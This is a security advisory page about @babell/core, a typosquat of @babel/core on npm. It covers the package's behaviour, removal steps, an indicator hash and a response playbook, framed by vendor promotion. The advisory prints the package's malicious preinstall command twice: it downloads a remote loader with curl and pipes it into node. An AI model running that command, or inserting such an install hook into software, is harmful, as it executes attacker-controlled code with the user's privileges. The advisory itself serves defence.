Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

@babell/corenpm

Advisory published Updated

@babell/core is a confirmed malicious npm package (MAL-2026-17497) that typosquats a legitimate package to trick installs (malicious version 8.0.6). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @babell/core (npm)

MAL-2026-17497
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @babell/core

What this malware does

@babell/[email protected] impersonates @babel/core (it copies the code and metadata of @babel/core) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @babell/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

The package's package.json defines a preinstall lifecycle script that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, downloading a JavaScript file from a third-party host (gitflic.ru/hellscripter, fetched through web.archive.org) and piping it directly into Node for execution at install time. The content fetched is unpinned, served from a non-publisher host unrelated to Babel, and executed with the privileges of the installing user. The package name @babell/core differs from the legitimate @babel/core by a single character, and its description, author, repository, homepage, and README all impersonate the real Babel project, serving as a delivery vehicle for the dropper.

Malicious versions

1 flagged
8.0.6

Indicators of compromise (SHA-256)

ae256b9ff55b98040ea9cb6561edfe1c4e2db94bd111fb19a449651bd6b5d44b

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for @babell/core (version 8.0.6).

  2. If you installed it — respond

    @babell/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @babell/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If @babell/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @babell/core on npm has been identified as a malicious package (version 8.0.6 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020921

References

Credits

  • Amazon Inspector · finder
  • InvisiRisk, Inc. · finder

Detect & block this

O3 blocks @babell/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

@babell/core (npm) malicious package — MAL-2026-17497 | O3 Security